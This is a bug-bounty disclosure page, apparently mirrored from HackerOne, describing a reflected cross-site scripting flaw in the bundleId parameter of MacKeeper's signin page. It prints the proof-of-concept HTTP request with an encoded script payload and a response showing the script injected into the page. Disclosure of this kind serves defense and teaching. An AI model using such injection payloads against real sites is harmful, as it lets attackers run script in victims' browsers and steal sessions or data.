Unauthenticated Reflected Cross-Site Scripting on https://account.mackeeper.com/signin page
The signin page reflected the bundleId parameter without sanitisation, allowing an attacker to inject a script. An attacker could craft a link that executes arbitrary JavaScript in a victim's browser.
Originally disclosed on HackerOne
- Triaged in 15 hours
- Fixed in 3 months
- Paid in 35 hours
- Disclosed after 6 months
Summary by the program
Summary
Unauthenticated Reflected Cross-Site Scripting on https://account.mackeeper.com/signin page in the bundled parameter
Steps To Reproduce
XSS via GET Method
HTTP Request:
GET /signin?bundleId=wrtqvetcvcwtd%22%3e%3cscript%3ealert(1)%3c%2fscript%3eyozl9 HTTP/1.1
Host: account.mackeeper.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: <several cookies and values>
Upgrade-Insecure-Requests: 1
HTTP Response:
HTTP/1.1 200 OK
Date: Tue, 19 Nov 2019 23:37:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Server: nginx
Vary: Accept-Encoding
Set-Cookie: jwtToken=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=mackeeper.com; secure; httponly
Set-Cookie: jwtToken=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=mackeeper.com; secure; httponly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Content-Length: 19523
<!DOCTYPE html><!--[if lt IE 7 ]> <html class="ie6 sticky-foot-on"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7 sticky-foot-on"> <![endif]-->
<!--[if IE 8 ]> <html class="ie8 sticky-foot-on"> <![endif]-->
<!--[if IE 9 ]> <html class="ie9 sticky-foot-on"> <![endif]-->
<!--[if (gt IE 9)|!(IE)]><!--> <html class="sticky-foot-on" lang="en"> <!--<![endif]-->
<head>
<title>MacKeeper Account</title> <meta charset="UTF-8">
<snippet>
<!-- ZeoTranslate -->
<div class="pop-up pop-up_loader pop-up_loader-white-bg js-pop-up js-my-licenses-loader" style="display: none;">
<div class="loader"></div>
</div>
<p class="user-parms-for-events" style="display: none;"
data-affid=""
data-bundle-id="abc"><script>alert('xss')</script>"
data-trt-id=""
data-prod-id-mk="29"
data-prod-id-zs="56"
></p> </body>
</html>
<snippet>
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could execute arbitrary JavaScript in a victim's browser via the reflected parameter.
What the attacker needed
Victim clicks a crafted link
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website took a value from the web address and put it directly into the page without cleaning it. An attacker could send a link that makes the victim's browser run malicious code, which could steal data or perform actions as the victim.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.